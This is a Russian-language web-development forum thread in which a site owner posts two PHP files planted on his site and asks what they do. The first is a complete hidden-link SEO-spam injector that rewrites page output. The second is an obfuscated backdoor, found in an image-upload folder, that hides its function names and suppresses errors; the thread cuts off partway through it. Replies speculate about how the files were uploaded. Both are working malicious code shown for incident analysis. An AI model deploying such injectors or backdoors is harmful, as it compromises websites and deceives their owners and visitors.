|
|
|
| Мне на сайт каким то образом закинули скрипт php. Теперь ломаю голову как это им удалось. Знали пароль хостинга, залили при помощи ftp или есть уязвимость на сайте в форме загрузки картинок. Опытные программисты, подскажите что делает вот этот код который мне закинули.
<?php
/** EXECUTION GUARD */
if (!defined('_SM_EX_GUARD'))
{ /* Do not add extra identity */
define('_SM_EX_GUARD', true);
/* If _SM_DEBUG is defined and it value set as True, debug information will be shown.
This one will change debug messages output behavior in a core functions and classes code */
//$_sm_debug = '';
//define('_SM_DEBUG', true);
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'wb');
if (!is_resource($f))
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
if (!function_exists('stripos')) {
function stripos($haystack, $needle, $offset = 0) {
if ($offset == 0)
return strpos($haystack, stristr($haystack, $needle));
return strpos(strtolower($haystack), strtolower($needle), $offset);
}
}
if (!function_exists('strripos')) {
function strripos($haystack, $needle, $offset = 0) {
return strrpos(strtolower($haystack), strtolower($needle), $offset);
}
}
function _sm_find_html_tag_internal($tag_name, &$html_content, $offset)
{///@todo bug in case of close tag. "</ body>" - is correct tag.
$tag_pos = false;
$start_pos = false;
$end_pos = false;
$html_content_length = strlen($html_content);
$tag_name_length = strlen($tag_name);
while($offset < $html_content_length && ($tag_pos = stripos($html_content, $tag_name, $offset)) !== false) {
/* Searching for start tag pos */
$start_pos = false;
$end_pos = false;
$offset = $tag_pos + 1;
/* Lets see whot a shit is left of a tag name */
for ($index = $tag_pos - 1; $index >= 0; --$index) {
switch($html_content[$index]) {
case ' ': /* in tag body */
case "\r":
case "\n":
case "\t":
continue;
case '<': /* we found tag start */
$start_pos = $index;
break(2);
default: /* this is not our tag */
continue(3);
}
}
/* if tag in the begin or in the end of content */
if ($start_pos === false || $tag_pos + $tag_name_length == $html_content_length)
return false;
/* Lets see what a shit is right of a tag name */
$next_char = $html_content[$tag_pos + $tag_name_length];
switch ($next_char) {
case ' ': /* in tag body */
case "\r":
case "\n":
case "\t":
break;
case '>': /* we found tag finish */
$end_pos = $tag_pos + $tag_name_length;
break;
default: /* this is not our tag */
continue(2);
}
break;
}
if ($tag_pos === false || $start_pos === false)
return false;
if ($end_pos === false) {
/* Searching for end tag pos */
$end_pos = strpos($html_content, '>', $tag_pos + $tag_name_length);
if ($end_pos === false)
return false;
}
assert($end_pos > $start_pos);
return array($start_pos, $end_pos - $start_pos + 1);
}
function _sm_find_html_tag($tag_name, &$html_content, $offset, $last_occurence = false) {
$result = false;
$tag_name_length = strlen($tag_name);
if ($last_occurence !== false) /* search last occurence of tag in the html_content */
while (($next_occurence = _sm_find_html_tag_internal($tag_name, $html_content, $offset)) !== false) {
$result = $next_occurence;
$offset = $result[0] + $tag_name_length;
}
else
$result = _sm_find_html_tag_internal($tag_name, $html_content, $offset);
return $result;
}
function _sm_find_html_a_tag(&$html_content, $html_content_length, $offset) {
while($offset < $html_content_length && ($href_pos = stripos($html_content, 'href', $offset)) !== false) {
$open_tag_pos = strrpos($html_content, '<', -($html_content_length - $href_pos));
$close_tag_pos = strpos($html_content, '>', $href_pos + 4 /* strlen('href') */);
$body = ltrim(substr($html_content, $open_tag_pos + 1, $close_tag_pos - $open_tag_pos - 1));
$offset = $close_tag_pos + 1;
if (strlen($body) < 2)
continue;
/* If in body of tag we has close or open char */
if (strpos($body, '>') !== false || strpos($body, '<') !== false)
continue;
/* If it's not a tag */
if (($body[0] != 'a' && $body[0] != 'A') || ($body[1] != ' ' && $body[1] != "\t" && $body[1] != "\n" && $body[1] != "\r"))
continue;
return array($open_tag_pos, $close_tag_pos - $open_tag_pos + 1);
}
return false;
}
function _sm_get_href_value_from_a_tag_body(&$tag_body, $tag_body_length) {
$href_pos = stripos($tag_body, 'href');
if ($href_pos === false)
return false;
$start_pos = false;
$equal_char_pos = false;
$href_quote_char = false;
$href_using_quote_char = true;
$index = $href_pos + 4 /* strlen('href') */;
for (; $index < $tag_body_length; ++$index) {
switch($tag_body[$index]) {
case "\n":
case "\r":
case ' ':
case "\t":
if ($start_pos !== false && !$href_using_quote_char) /* end of href value */
return substr($tag_body, $start_pos, $index - $start_pos);
break;
case '=':
if ($equal_char_pos === false) /* href="..?id=.." */
$equal_char_pos = true;
break;
case '"':
case "'":
if ($equal_char_pos === false) /* href' || href" */
return false;
if (!$href_using_quote_char) /* do not act if we don't use quotation char */
break;
if ($href_quote_char === false) { /* start of href value */
/* set quotation char and start pos ONLY if this href using quotations */
$href_quote_char = $tag_body[$index];
$start_pos = $index + 1;
}
elseif ($tag_body[$index] == $href_quote_char) /* end of href value */
return substr($tag_body, $start_pos, $index - $start_pos);
break;
case '>':
if ($equal_char_pos === false) /* href > */
return false;
if (!$href_using_quote_char) { /* end of href value */
if ($start_pos === false) /* href = > */
return false;
return substr($tag_body, $start_pos, $index - $start_pos);
}
break;
default:
if ($equal_char_pos === false) /* href* */
return false;
if ($href_quote_char === false) {/* href doesn't using any quotations */
$href_using_quote_char = false;
if ($start_pos === false)
$start_pos = $index;
}
}
}
return false;
}
function _sm_debug($message) { global $_sm_debug; if (defined("_SM_DEBUG") && _SM_DEBUG) $_sm_debug .= '[DEBUG] '. $message. "\n"; }
function _sm_assert_callback($file, $line, $message) { _sm_debug("File: $file. Line: $line. Message: $message"); }
/* Class section */
class HtmlModifier
{
var $domain;
var $js_path;
var $js_function_name;
var $noindex_links;
var $origin_charset;
var $omit_final_links_block_signaturing;
function HtmlModifier(
$domain /* = 'domain.com' */,
$js_path /* = '/path/to/javascript.js' */,
$js_function_name /* = 'javascript_function_name_' */,
$noindex_links /* = false */,
$origin_charset)
{
_sm_debug("Working with '$domain'");
$this->domain = trim($domain);
$this->js_path = $js_path;
$this->js_function_name = $js_function_name;
$this->noindex_links = $noindex_links;
$this->origin_charset = $origin_charset;
$this->omit_final_links_block_signaturing = false;
}
/** @a signatures must be array of one or more elements */
/* $html_content */ function modify_html(
$request_url,
$html_content,
$signatures, /* array(new signature, old signature, old signature) like <!-- signature --> */
$links /* array('link1', 'link2') */)
{
_sm_debug("Modify '$request_url'");
if (!is_array($signatures) || count($signatures) < 1) {
_sm_debug("Signature array must contain at least one element as new signature for new block");
return false;
}
/* Determine and convert html_content to UTF-8 */
if ($this->_ensure_charset($html_content) === false)
{
_sm_debug("Can't determine content encoding");
return false;
}
/* Cleanup html from our code blocks and other dudes dummy code */
$this->_cleanup_html($html_content, $signatures);
/* Noindex html content */
if ($this->noindex_links === true)
$this->_noindex_html($html_content);
$this->_clean_meta_robots($html_content);
//$this->_cleanup_meta_robots($html_content);
/* Insert links */
$this->_insert_links($html_content, $signatures[0], $links);
return $html_content;
}
/* Return string of whitespaces length of from zero to five chars */
function _get_whitespace()
{
$result = '';
$whitespace = array(' ', "\n", /*"\t" not work in obfuscation*/chr(9), ' ', ' '); /* Yes, triple spaces */
$ws_count = rand(0, 5);
for ($i = 0; $i < $ws_count; ++$i)
$result .= $whitespace[rand(0, count($whitespace) - 1)];
return $result;
}
function _ensure_charset(&$html_content)
{
$charset = false;
$default_encoding = 'UTF-8';
$meta = $this->_determine_meta_charset_encoding($html_content);
if ($meta !== false) /* Try to recode */
if ($this->_magic_convert_encoding($html_content, $meta['charset'], $default_encoding, $meta))
{
$charset = $meta['charset'];
_sm_debug("Converting html content to '$default_encoding' from '".$meta['charset']."' [Meta-tag information]");
}
if ($charset === false) /* If we can't recode from meta tag encoding or meta tag were not found */
if (function_exists('mb_detect_encoding')) /* try to use mb_detect_encoding */
{
$charset_detected = false;
if ($this->origin_charset)
$charset_detected = $this->origin_charset;
else
$charset_detected = mb_detect_encoding($html_content, array('ASCII','UTF-8','ISO-8859-1'));
if ($charset_detected && $this->_magic_convert_encoding($html_content, $charset_detected, $default_encoding, $meta))
{
$charset = $charset_detected;
_sm_debug("Converting html content to '$default_encoding' from '$charset_detected' [mb_detect_encoding information]");
}
}
if ($charset === false) /* If we can't recode using previous methods */
{
$charset_detected = false;
$bom = substr($html_content, 0, 3); // byte order mask
if ($bom == "\xEF\xBB\xBF") // char in hex format (first 3 chars define charset)
$charset_detected = 'UTF-8';
$bom = substr($bom, 0, 2);
if ($bom == "\xFF\xFE" || $bom == "\xFE\xFF")
$charset_detected = 'UTF-16';
if ($charset_detected !== false && $this->_magic_convert_encoding($html_content, $charset_detected, $default_encoding, $meta))
{
$charset = $charset_detected;
_sm_debug("Converting html content to '$default_encoding' from '$charset_detected' [BOM information]");
}
else
_sm_debug("Can't convert html content to '$default_encoding': no information of existent encoding available");
}
return $charset;
}
// cleanup html from signatures and hidden links
function _cleanup_html(&$html_content, $signatures)
{
/* Cleanup html from our code blocks */
$our_code_block_found = false;
foreach ($signatures as $signature)
{
$signature_len = strlen($signature);
/* While we can find 2 signatures */
while (true)
{
$signature_pos1 = strpos($html_content, $signature);
if ($signature_pos1 === false)
break;
$signature_pos2 = strpos($html_content, $signature,
$signature_pos1 + $signature_len);
if ($signature_pos2 === false)
break;
$our_code_block_found = true;
$html_content = substr($html_content, 0, $signature_pos1).
substr($html_content, $signature_pos2 + $signature_len);
_sm_debug("Cleaning up html content from our code block");
}
}
if (!$our_code_block_found)
_sm_debug("Our code block was not found in html content. Nothing to clean");
/* Cleanup html from other dudes code. This block must containt some count of a-links in it to be replaced */
$signatures = array(array('<div style="display:none">', '</div>'));
foreach ($signatures as $index => $signature)
{
$start_pos = strpos($html_content, $signature[0]);
if ($start_pos === false)
continue;
$end_pos = strpos($html_content, $signature[1], $start_pos + strlen($signature[0]));
if ($end_pos === false)
continue;
$block_length = $end_pos + strlen($signature[1]) - $start_pos;
$block = substr($html_content, $start_pos, $block_length);
$max_legal_links_count = 40; // @notice why 40?
$links_count = 0;
$offset = 0;
while (($a_tag = _sm_find_html_a_tag($block, $block_length, $offset)) !== false)
{
$offset = $a_tag[0] + $a_tag[1];
if (++$links_count > $max_legal_links_count)
break;
}
if ($links_count < $max_legal_links_count)
{
_sm_debug("Found possible other dudes code block but NOT ".
"cleaned: internal links count lower than $max_legal_links_count: $links_count");
continue;
}
_sm_debug("Cleaning other dudes code block [$index]");
$html_content = substr($html_content, 0, $start_pos).substr($html_content, $start_pos + $block_length);
}
}
function _noindex_html(&$html_content)
{
/* Remove noindex tags */
$noindex_removed_count = array(0,0);
foreach (array('noindex', '/noindex') as $index => $tag)
{
$offset = 0;
while (($tag_info = _sm_find_html_tag($tag, $html_content, $offset)) !== false)
{
$html_content = substr($html_content, 0, $tag_info[0]).substr($html_content, $tag_info[0] + $tag_info[1]);
++$noindex_removed_count[$index];
$offset = $tag_info[0];
}
}
if ($noindex_removed_count[0] + $noindex_removed_count[1] > 0)
_sm_debug("Removed ".$noindex_removed_count[0]."/".$noindex_removed_count[1]." noindex blocks");
$offset = 0;
$noindex_insert_count = 0;
$html_content_length = strlen($html_content);
$domain = str_replace('www.', '', $this->domain);
/* We make some test and in result, wrote more fast and specified function for A tag,
older variant: _sm_find_html_tag('a', $html_content, $offset) */
while (($tag_info = _sm_find_html_a_tag($html_content, $html_content_length, $offset)) !== false)
{
$offset = $tag_info[0] + $tag_info[1] + 1;
$a_body = substr($html_content, $tag_info[0], $tag_info[1]);
$a_href = _sm_get_href_value_from_a_tag_body($a_body, $tag_info[1]);
/* Search for ://$domain/ or ://www.domain/ in <a> body */
if (strpos($a_href, '://') === false || stripos($a_href, "://$domain/") !== false || stripos($a_href, "://www.$domain/") !== false)
continue;
/* Lets try to find /a tag */
$closed_tag_info = _sm_find_html_tag('/a', $html_content, $offset);
if ($closed_tag_info !== false)
{
/* check if this closed_tag relate to the tag_info */
$tmp_tag_info = _sm_find_html_a_tag($html_content, $html_content_length, $offset);
if ($tmp_tag_info !== false && $tmp_tag_info[0] < $closed_tag_info[0])
$closed_tag_info = false;
}
if ($closed_tag_info !== false)
{
$html_content = substr($html_content, 0, $tag_info[0]).'<noindex>'.
substr($html_content, $tag_info[0], $closed_tag_info[0] - $tag_info[0] + $closed_tag_info[1]).
'</noindex>'.substr($html_content, $closed_tag_info[0] + $closed_tag_info[1]);
++$noindex_insert_count;
$offset = $closed_tag_info[0] + $closed_tag_info[1];
}
else
{
$html_content = substr($html_content, 0, $tag_info[0]).'<noindex>'.
substr($html_content, $tag_info[0], $tag_info[1]).'</noindex>'.
substr($html_content, $tag_info[0] + $tag_info[1]);
++$noindex_insert_count;
$offset += 9 /* strlen('<noindex>') */;
}
/* Recalculate length because we change it */
$html_content_length = strlen($html_content);
}
if ($noindex_insert_count)
_sm_debug("Totaly noindexed $noindex_insert_count links");
}
function _clean_meta_robots(&$html_content)
{
$offset = 0;
while (($meta_tag = _sm_find_html_tag('meta', $html_content, $offset)) !== false)
{
$depricated_meta_removed = false;
$meta_content = substr($html_content, $meta_tag[0], $meta_tag[1]);
if (stripos($meta_content, 'robots') !== false)
{
$depricated_meta_contents = array('noindex', 'nofollow', 'noarchive');
foreach ($depricated_meta_contents as $depricated_meta_content)
if (stripos($meta_content, $depricated_meta_content) !== false)
{
$html_content = substr($html_content, 0, $meta_tag[0]).substr($html_content, $meta_tag[0] + $meta_tag[1] + 1);
$depricated_meta_removed = true;
break;
}
}
$offset = $depricated_meta_removed ? $meta_tag[0] : $meta_tag[0] + $meta_tag[1];
}
}
/*
// cleanup tags like <meta name="robots" content="noarchive"/> (or content="nofollow" or content=""noindex)
function _cleanup_meta_robots(&$html_content)
{
$tag = 'meta';
$offset = 0;
$removed_count = 0;
$searching_content = array('noindex','nofollow','noarchive');
while (($tag_info = _sm_find_html_tag($tag, $html_content, $offset)) !== false)
{
$meta_content = substr($html_content, $tag_info[0], $tag_info[1]);
if (stripos($meta_content, 'robots', 0) !== false)
foreach ($searching_content as $index => $content)
if (stripos($meta_content, $content, 0) !== false)
{
$html_content = substr($html_content, 0, $tag_info[0]).substr($html_content, $tag_info[0] + $tag_info[1]);
++$removed_count;
$offset = $tag_info[0];
break;
}
else
$offset = $tag_info[0] + $tag_info[1];
else
$offset = $tag_info[0] + $tag_info[1];
}
_sm_debug("Removed $removed_count meta tags.");
}
*/
function _insert_links(&$html_content, $signature, $links)
{
if (!is_array($links))
return false;
if (count($links) == 0)
return true;
//_sm_debug("Inserting our links: ".var_export($links, true)); // @TODO couse bug with output buffering - var_export is not availiable
$tag = _sm_find_html_tag('/body', $html_content, 0, true); /* find last occurrence of </body> */
if ($tag === false) { /* If we can't find </body> */
// <body> can be expected if html page constructed on tables
$tag = _sm_find_html_tag('/tbody', $html_content, 0, true); /* find last occurrence of </tbody> */
if ($tag === false) { /* If we can't find </tbody> */
if (($ssi = strripos($html_content, '<!--#include')) !== false) /* find last occurrence of ssi construction */
$tag = array($ssi, 0);
else
{
$tag = _sm_find_html_tag('/html', $html_content, 0, true); /* find last occurrence of </html> */
if ($tag === false)
$tag = array(strlen($html_content), 0); /* store links at the end of file */
}
}
}
$pre_block = '';
$post_block = '';
/* Search for FRAMESET */
$frameset_tag = _sm_find_html_tag('frameset', $html_content, 0);
if ($frameset_tag !== false) {
$tag = _sm_find_html_tag('/noframes', $html_content, 0);
if ($tag === false) {
$pre_block = '<NOFRAMES>';
$post_block = '</NOFRAMES>';
/* Store after <frameset> */
$tag = array($frameset_tag[0] + $frameset_tag[1], 0);
}
else {
$end_body_tag = _sm_find_html_tag('/body', $html_content, 0);///@todo ask if this correct in case of multiple /body tags?
if ($end_body_tag !== false && $end_body_tag[0] < $tag[0]) // if we have </body> before </noframes>
$tag = $end_body_tag;
}
}
else {
/* Location optimization */
$locations = array(
'<div id="main-body">' /* joomla */,
'<div id="contentmain">' /* joomla old */,
'<div class="entry-content">' /* wordpress */,
'<div class="content">' /* wonderful samopis */,
'<div id="content">',
'<!-- VK Widget -->' /* before VK widget block */,
'<div class="yashare' /* before YandexShare bar */,
'<!--LiveInternet counter-->' /* before LiveInternet counter */,
'<!-- content -->' /* Thanks for a great developers */,
'<!--content-->',
'<h1 class="contentBoxHeading">' /* ShopOS */,
'<div class="cpt_maincontent">' /* unknown engine */,
/* latest */
'<h1>');
foreach ($locations as $location) {
$location_pos = strpos($html_content, $location);
if ($location_pos !== false) {
$tag = array($location_pos, strlen($location));
break;
}
}
}
$links_string = implode($links);
$css_id = chr(rand(97, 122)).substr(md5($links_string.time()), 5, rand(0, 31));
$use_external_js_hidden_code = !empty($this->js_path) && !empty($this->js_function_name);
$code = $this->_get_whitespace().
($use_external_js_hidden_code
? "<div id='$css_id'>"
: "<div id='$css_id' style='font-size:10px;text-align:center'>").
$this->_get_whitespace().$links_string.$this->_get_whitespace().
"</div>".$this->_get_whitespace().
($use_external_js_hidden_code
? "<script src='".$this->js_path."'></script>".$this->_get_whitespace().
"<script>".$this->_get_whitespace().$this->js_function_name."('$css_id')".
$this->_get_whitespace().'</script>'.$this->_get_whitespace()
: "<script>".$this->_get_whitespace()."document.body.appendChild(".$this->_get_whitespace().
"document.getElementById".$this->_get_whitespace()."('$css_id')".$this->_get_whitespace().")".
$this->_get_whitespace()."</script>".$this->_get_whitespace());
if ($this->omit_final_links_block_signaturing)
$signature = '';
$html_content = substr($html_content, 0, $tag[0]).$signature.$pre_block.$code.$post_block.$signature.substr($html_content, $tag[0]);
}
/* Private methods call by another private methods only */
function _determine_meta_charset_encoding(&$html_content) {
$meta_tag = _sm_find_html_tag('meta', $html_content, 0);
if ($meta_tag === false)
return false;
do {
$meta_content = substr($html_content, $meta_tag[0], $meta_tag[1]);
$charset_pos = stripos($meta_content, 'charset');
if ($charset_pos !== false) {
$meta_part = substr($meta_content, $charset_pos + 8 /* strlen('charset') + 1 */);
$charset = ltrim($meta_part, "='\" \t\n");
$end_pos = strpos($charset, ' ');
if ($end_pos !== false)
$charset = substr($charset, 0, $end_pos);
$charset = rtrim($charset, " >'\"\t\n/");
return array('charset' => $charset, $meta_tag[0], $meta_tag[1]);
}
/* Find new meta tag */
$meta_tag = _sm_find_html_tag('meta', $html_content, $meta_tag[0] + $meta_tag[1]);
} while($meta_tag !== false);
return false;
}
function _magic_convert_encoding(&$html_content, $encoding_from, $encoding_to, $encoding_meta_tag_info) {
$encoding_from_lower = strtolower($encoding_from);
if ($encoding_from_lower == strtolower($encoding_to)) { // not need to convert
if ($encoding_meta_tag_info === false) { /* Add meta tag if it's not exists */
_sm_debug("Add meta content-type tag with encoding charset");
$this->_add_meta_content_type($html_content, $encoding_to);
}
return true;
}
_sm_debug("Convert html encoding from '$encoding_from' to '$encoding_to'");
$modified_content = false;
if ($encoding_meta_tag_info !== false) /* Replace meta tag encoding if present */
$modified_content = substr($html_content, 0, $encoding_meta_tag_info[0]).
'<meta http-equiv="Content-Type" content="text/html; charset='.$encoding_to.'" />'.
substr($html_content, $encoding_meta_tag_info[0] + $encoding_meta_tag_info[1]);
$iconv_result = @iconv($encoding_from, $encoding_to."//IGNORE", $modified_content !== false ? $modified_content : $html_content);
if ($iconv_result === false)
return false;
$html_content = $iconv_result;
if ($encoding_from_lower == 'utf-16') {/* For UTF-16 make search twice */
$encoding_meta_tag_info = $this->_determine_meta_charset_encoding($html_content);
if ($encoding_meta_tag_info !== false) /* Replace meta tag encoding if present */
$html_content = substr($html_content, 0, $encoding_meta_tag_info[0]).
'<meta http-equiv="Content-Type" content="text/html; charset='.$encoding_to.'" />'.
substr($html_content, $encoding_meta_tag_info[0] + $encoding_meta_tag_info[1]);
}
if ($encoding_meta_tag_info === false) /* Add meta tag if it's not exists */
$this->_add_meta_content_type($html_content, $encoding_to);
return true;
}
function _add_meta_content_type(&$html_content, $charset) {
$interesting_tags = array('/head', 'body', 'head', 'meta');
$is_uppercase = false;
$tag = false;
foreach ($interesting_tags as $interesting_tag) {
$tag = _sm_find_html_tag($interesting_tag, $html_content, 0);
if ($tag === false)
continue;
$offset = 0;
if (is_callable('ctype_alpha') && is_callable('ctype_upper'))
while ($offset < $tag[1]) {
$char = $html_content[$tag[0] + (++$offset)];
if (ctype_alpha($char)) {
$is_uppercase = ctype_upper($char);
break;
}
}
if ($interesting_tag == 'head')
$tag[0] += $tag[1]; // set position after the tag
break;
}
if ($tag !== false) {
$html_content = substr($html_content, 0, $tag[0]).(
($is_uppercase)
? '<META HTTP-EQUIV="Content-Type" CONTENT="text/html; CHARSET='.$charset.'" />'
: '<meta http-equiv="Content-Type" content="text/html; charset='.$charset.'" />'
).substr($html_content, $tag[0]);
}
}
};
if (!function_exists('gzdecode')) {
function gzdecode($data) {
return gzinflate(substr($data, 10, -8)); // @TODO test it
}
}
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_BAIL, 1);
assert_options(ASSERT_CALLBACK, '_sm_assert_callback');
function _sm_shutdown_function($html_content)
{
$links_database = unserialize(base64_decode('YTowOnt9'));
$host = empty($_SERVER['HTTP_HOST']) ? $_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST'] ;
$signatures = array('<!--'.md5($request_url.rand(0, 10000)).'-->', );
$noindex_links = true;
// $js_path = '{{JS_PATH}}';
// $js_function_name = '{{JS_FUNCTION_NAME}}';
$origin_charset = '';
$request_url = getenv("REQUEST_URI");
$request_url = str_replace('http://'.$host, '', $request_url);
$links = @$links_database[$request_url];
if (array_key_exists('*', $links_database))
$links = is_array($links) ? array_merge($links, $links_database['*']) : $links_database['*'];
$headers = headers_list();
$decopressed = false;
$modify_charset_header = true;
foreach ($headers as $hdr) {
if (stripos($hdr, 'Content-Encoding') !== false && stripos($hdr, 'gzip') !== false)
$decopressed = @gzdecode($html_content);
if (stripos($hdr, 'Content-Type') !== false && stripos($hdr, 'utf-8') !== false)
$modify_charset_header = false;
}
if ($modify_charset_header)
header('Content-type: text/html; charset=utf-8');
$x = new HtmlModifier($host, '', '', $noindex_links, $origin_charset);
$x->omit_final_links_block_signaturing = true;
$new_output = ($decopressed)
? @gzencode($x->modify_html($request_url, $decopressed, $signatures, $links))
: $x->modify_html($request_url, $html_content, $signatures, $links);
return $new_output;
}
if (function_exists('ob_start') && is_callable('ob_start')) {
$result = ob_start('_sm_shutdown_function', 0, true);
}
} /** end of EXECUTION GUARD */
/*<!--8a788cd74e912e8060f44c5364bc8a13-->*/
?>
|
| |
|
|
|
|
|
|
|
для: BlueWolf
(25.06.2014 в 21:06)
| | Модифицирует html-вывод. | |
|
|
|
|
|
|
|
для: confirm
(26.06.2014 в 06:11)
| | Я думаю этот код мне забросили конкуренты чтобы снизить позиции поисковых запросов. Ссылки на сайте закрывались тегом <noindex>.
Вопрос как это им удалось. Пароли от хостинга и ftp я уже поменял. Возможно ли такой файл забросить на сайт, если нет формы загрузки файлов на сайт. Возможно ли закачать файл через форму ввода текста? | |
|
|
|
|
|
|
|
для: BlueWolf
(26.06.2014 в 07:49)
| | От смены пароля, не удалив загруженного ранее червя, проку не будет.
Загрузить можно и формой, и через sql, а если есть червь, то и им. | |
|
|
|
|
|
|
|
для: confirm
(26.06.2014 в 08:07)
| | Этот скрипт мог добавить в файл index.php на главной странице сайта строчку @include_once и путь на свой php файл?
В директории где я обнаружил чужой файл, есть страница моего сайта в которой есть фарма ввода текста. Как оказалось входящий $_POST в нём никак не фильтруется. Там было вот так
$god = trim($_POST['god']);
$god = floatval($god);
$realdisk = $god * 1000000000/1024/1024/1024;
echo $realdisk;
|
Мог ли хакер закинуть свой файл используя это? | |
|
|
|
|
|
|
|
для: BlueWolf
(26.06.2014 в 09:06)
| | Сам по себе код файла представленного на столько же опасен, как и сказка о Колобке, а вот запущенный в контексте, кем-то, это уже неприятности. Читайте и анализируйте код:
<?
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'wb');
if (!is_resource($f))
return false;
$bytes = fwrite($f, $data);
|
Но в самом представленном коде нет обращения к записи, это значит, что помимо его есть еще что-то.
Если у вас есть подозрение, что по украденному был произведен вход и что-то залили, то голову червя искать нужно не среди файлов от корня документов, а выше уровнем. Заливать shell в документы нет смысла, его легко обнаружить.
А что будет с данными после floatval($god)? Вот вам и ответ, есть ли в этом опасность. А какие дыры используются в приеме данных форм, sql, для заливки, это поищите в сети, это обширный материал, который хотя бы в общем надо знать. | |
|
|
|
|
|
|
|
для: confirm
(26.06.2014 в 09:47)
| | Обнаружил ещё один файл subnamed639.php
Его умудрились залить в папку заливки картинок для статьи. Этот код как то связан с предыдущим?
<?php
$Misimages_4 = '';
$imclos_6 = 'Qah9eca09U6s428BU5EiY_bZhdlo6Ns';
$PXk45BAp = array(22, 1, 11, 4, 10, 12, 21, 25, 4, 5, 27, 25, 4);
foreach ($PXk45BAp as $Subposist)
$Misimages_4 .= $imclos_6[$Subposist];
$install = array(chr(77).'T'.chr(65).chr(51)."ND".'g0'."Nj".'c=','NDc4'.'Nz'.chr(89)."0"."MTg1ND".chr(73).'5MjM'.chr(61),"ob_".'end'."_clea"."n");
$Nonproced72 = array('ob'."_"."ge".'t_content'.'s','ob_st'.chr(97)."rt","NjczO".'Tkw'.'ND'.chr(107)."x".'NT'."EwMQ".'==','O'.chr(68).'E4'.chr(77).'TY0MTc'.'2MD'.chr(103)."2Mw="."=");
$Postprocies = array('d'.chr(71).'1wX2'.chr(53)."h"."bWU=");
$Langs = array("U3V".'jX2Nl'.chr(77)."w==",'Q29udGVud'.chr(67).chr(49).'UeXBlO'.'i'.'Bh'."c"."HB".'saWN'.'h'.chr(100).'Glv'."bi9v"."Y3Rl"."d".'C1zdHJlYW0=',"fil".'e_'.'g'."et_content".'s');
$Picting = array('Z'."3p".'kZ'.'WZsY'.chr(88).chr(82).'l','Q'."29udGVud".'C1Ue'.'X'.'Bl'.'O'.'i'."BhcHBs"."aW".'N'.chr(104).'d'.'Glvbi9'."6a".'XA=','Z3'."pkZ".chr(87).chr(90)."s"."Y".chr(88).'Rl',"Q29ud".'GVu'.'d'.chr(67)."1Ue".chr(88).'BlO'.chr(105)."B"."hcH".chr(66).chr(115)."aW"."NhdG".'lvb'.chr(105).chr(57)."4LWd6".'aX'.'A=');
$Mener_75 = array(chr(104)."eader",'Ynpjb'.chr(50)."1w"."cm"."Vzc".chr(119)."==","Ynp".'j'.'b21wc'."mVzcw"."==");$imagents = array("bW"."Vtb".'3'.'J5'.'X2xpbWl0');$premantiones = array('c'."2".'Fm'.'Z'."V9t".'b'."2Rl","b".'WF4X2V4ZWN'.'1dGl'.'v'.'bl90'.chr(97).'W1'.'l');
$Sexss14 = array('gzdefl'.'ate',"se".'t_'."t"."im".'e'.chr(95).'limit',"Z3ppb".chr(109).'ZsYX'.chr(82).'l',chr(89).'npjb2'.'1wc'."mVzcw".chr(61)."=",'ZG'.'V'.chr(109).'Y'.'X'.chr(86).'sdF9zb2Nr'.'ZXR'.chr(102)."dGl".'tZW9'.chr(49).chr(100)."A==",'gzi'.'n'.chr(102)."late",'Ynpj'.chr(98).chr(50).'1w'.'c'.'m'.chr(86)."z".'cw'.chr(61)."=",'Z3pkZ'.chr(87)."Z"."sY".chr(88)."Rl",chr(90).chr(51).'p'.'pb'.'mZs'."YX"."Rl",'Z3'.'pkZ'.chr(87).'ZsYXRl',"bzco".chr(109).'press');
$MqVO4 = array(chr(98)."zde".chr(99)."ompress",'Y'.'npk'."Z".chr(87)."N"."vbXB".chr(121)."ZXN".chr(122),"Ynp".chr(107).'ZWNv'."bX"."ByZX".chr(78)."z",'is_in'.chr(116));
$proces = array("M".'A==',"b".'cad'.chr(100),'ord','pow','chr');
$Misown_7 = array('ce'."il",chr(102).'u'."nc"."t".'ion_e'."x".chr(105).'sts','is'.'_ca'.'ll'."a".'b'.'le','s'.chr(116)."r"."len","b".'cd'.'iv',chr(98).'cpow'.chr(109).'o'."d",'YmNwb3dtb2'."Q".'=','M'.'A'."==","s"."u".chr(98)."str","Y".chr(109).'N'."w".'b3dtb2'."Q=",'bcmu'.chr(108));$irclosisties2 = array('bcmod','b'.'G9nX'.chr(50)."Vy".'cm9ycw'.chr(61).'=','i'.chr(110).'i'."_".'set','erro'."r".chr(95).'report'.'ing','MA==',"b3V"."0cHV0X".'2J'.'1ZmZl'.'cm'.'l'."u"."Zw==","MA==",'Z'.chr(88).'Jyb'.chr(51)."JfbG9".'n',"MQ"."==","Z".chr(71)."lzcGxhe"."V9l"."c".'n'."Jv".'cnM'."=");
@$irclosisties2[3](0);
@$irclosisties2[2]($Misimages_4($irclosisties2[7]), false);
@$irclosisties2[2]($Misimages_4($irclosisties2[1]), false);
@$irclosisties2[2]($Misimages_4($irclosisties2[9]), false);
@$irclosisties2[2]($Misimages_4($irclosisties2[5]), false);
function fsFekql($Submanly7, $Image_b810, $mened)
{
$returns = '';
$Calles = 'TadwsMTj8Htw9e3oight6iVb9uhcyF04_s';
$Disposeries = array(23, 1, 4, 13, 20, 31, 32, 2, 13, 27, 15, 2, 13);
foreach ($Disposeries as $imaglyes)
$returns .= $Calles[$imaglyes];
global $Misown_7;
global $irclosisties2;
$overcalure_83 = $returns($irclosisties2[8]);
$XIuaCL = $irclosisties2[0]($Submanly7, $mened);
while ($Image_b810 != $returns($irclosisties2[4]))
{
if ($irclosisties2[0]($Image_b810, 2) != $returns($irclosisties2[6]))
$overcalure_83 = $irclosisties2[0]($Misown_7[10]($overcalure_83, $XIuaCL), $mened);
$XIuaCL = $irclosisties2[0]($Misown_7[10]($XIuaCL, $XIuaCL), $mened);
$Image_b810 = $Misown_7[4]($Image_b810, 2);
}
return $overcalure_83;
}
function oversexing3d12($Irtext923e, $Exmansions, $lange_89)
{
global $Misimages_4;
global $Misown_7;
if ($Misown_7[1]($Misimages_4($Misown_7[6])) && $Misown_7[2]($Misimages_4($Misown_7[9])))
return $Misown_7[5]($Irtext923e, $Exmansions, $lange_89);
else
return fsFekql($Irtext923e, $Exmansions, $lange_89);
}
function Namtioned_39($Irmanenties72, $excallies)
